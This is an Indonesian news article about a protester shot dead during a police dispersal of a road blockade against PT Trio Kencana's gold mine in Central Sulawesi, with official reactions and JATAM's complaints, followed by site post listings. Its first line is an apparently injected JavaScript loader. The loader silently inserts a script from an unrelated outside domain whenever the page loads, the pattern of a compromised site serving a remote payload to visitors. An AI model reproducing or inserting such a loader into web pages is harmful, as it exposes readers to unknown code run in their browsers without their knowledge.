(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Satu Warga Tewas Saat Pembubaran Demo Penutupan Jalan Poros Trans Sulawesi


KANALKALIMANTAN.COM – Kepolisian Daerah Sulawesi Tengah menyatakan akan bertindak profesional menyelidiki tewasnya seorang warga saat pembubaran paksa aksi penutupan jalan poros Trans Sulawesi hari Sabtu (12/2). Warga yang bernama Rifaldi itu diduga tewas akibat tembakan senjata api.

Kepala Kepolisian Daerah Sulawesi Tengah, Irjen Pol Rudy Sufahriadi, menyampaikan permohonan maaf kepada pihak keluarga atas tewasnya Rifaldi (21) saat polisi membubarkan paksa aksi penutupan jalan poros trans Sulawesi dalam aksi penolakan tambang emas. Dia berjanji polisi akan bertindak profesional untuk mengusut kasus itu.

“Saya akan profesional menangani masalah ini termasuk terhadap yang tertembak, keluarga kita yang meninggal dan terhadap siapa yang membawa masyarakat untuk menutup jalan,” kata Kapolda Sulawesi Tengah, Irjen Pol Rudy Sufahriadi dalam keterangan pers di Mapolres Parigi Moutong, Minggu (13/2) siang.

Aparat Kepolisian Resort Parigi Moutong pada Sabtu (12/2) malam membubarkan paksa aksi demonstrasi menolak tambang emas di desa Siney Kecamatan Tinombo Selatan. Langkah itu dilakukan karena massa yang menamakan diri mereka Aliansi Masyarakat Tani Peduli (ARTI) Lingkungan Kasimbar, menutup jalan trans Sulawesi yang menghubungkan Sulawesi Tengah dan Gorontalo. Penutupan jalan sejak pukul 12 siang menyebabkan kemacetan panjang selama berjam-jam.

 

Baca juga : Komnas HAM Temukan Fakta Tindak Kekerasan Aparat Terhadap Warga Wadas

“Karena di dalam melaksanakan penindakan dan pembukaan jalan yang di Kasimbar tadi malam Rifaldi menjadi korban untuk itu saya atas nama pribadi dan satuan memohon maaf kepada keluarga korban,” ungkap Rudy.

Kabid Humas Polda Sulawesi Tengah, Kombes Pol Didik Supranoto, dalam siaran pers menjelaskan 59 orang telah diamankan untuk diperiksa. Sementara pihak Profesi dan Pengamanan (propam) Polda Sulteng juga sudah mengamankan belasan senjata api laras pendek yang dipegang personil Kepolisian untuk kepentingan penyelidikan.

Pemerintah Akan Evaluasi Izin Tambang

Tenaga Ahli Gubernur Sulawesi Tengah, Ridha Saleh, mengatakan Gubernur Sulawesi Tengah Rusdi Mastura akan melakukan evaluasi terhadap izin usaha pertambangan atau IUP tambang emas PT Trio Kencana, diantaranya dengan mengurangi luasan konsesi tambang emas tersebut.

“Gubernur akan melakukan evaluasi dan mengambil tindakan yang tepat sesuai peraturan perundang-undangan. Bahkan kalau yang ini yang Trio Kencana, Gubernur tadi sudah menyampaikan akan melakukan penciutan terhadap wilayah tersebut dan juga memprioritaskan pertanian rakyat karena wilayah di situ wilayah pertanian,” papar Ridha.

 

Massa aksi Aliansi Masyarakat Tani Peduli (ARTI) melakukan aksi duduk di badan jalan raya dalam unjuk rasa penolakan tambang emas di desa Siney Kecamatan Tinombo Selatan, Kabupaten Parigi Moutong, Sulawesi Tengah, pada 12 Februari 2022. Foto: Humas Polda Sulteng – VOA

Baca juga : Sabet 13 Medali, Kadisdikbud HSU Beri Apresiasi Taekwondoin HSU

Ia menambahkan bahwa pemerintah berharap agar setiap kegiatan investasi dapat menyejahterakan rakyat.

Alasan Penolakan Tambang Emas

Ramadhani dari Jaringan Advokasi Tambang (JATAM) Sulawesi Tengah kepada VOA mengatakan aksi demonstrasi menolak tambang emas milik PT Trio Kencana pada Sabtu (12/2) itu dilatarbelakangi penolakan masyarakat terhadap terbitnya izin usaha pertambangan (IUP) tambang emas PT Trio Kencana seluas 15.725 hektare pada tahun 2020 yang mencakup kawasan pemukiman, pertanian, perkebunan milik warga. Aksi penolakan telah dilakukan dalam berbagai aksi demonstrasi yang dilakukan sejak tahun 2020 silam.

“Aktivitasnya sekarang kan mereka belum operasi besar-besaran tapi masih melakukan pengeboran pengambilan sampel, dalam aktivitas yang kecil itu saja masyarakat sudah merasa terdampak, airnya sudah keruh, kemudian beberapa sawah sudah tidak bisa digunakan karena tercemar,” jelas Ramadhani.

JATAM Sulawesi Tengah mendesak Menteri Energi Sumber Daya Mineral untuk menghentikan operasi dan mencabut izin tambang PT Trio Kencana.

Organisasi lingkungan itu juga mendesak Kapolri untuk menarik seluruh aparat kepolisian dari lokasi serta memproses hukum oknum aparat yang menembak warga sehingga menewaskan satu orang. (VOA/yl/em)

Editor : desy


Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

11 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

16 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

17 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.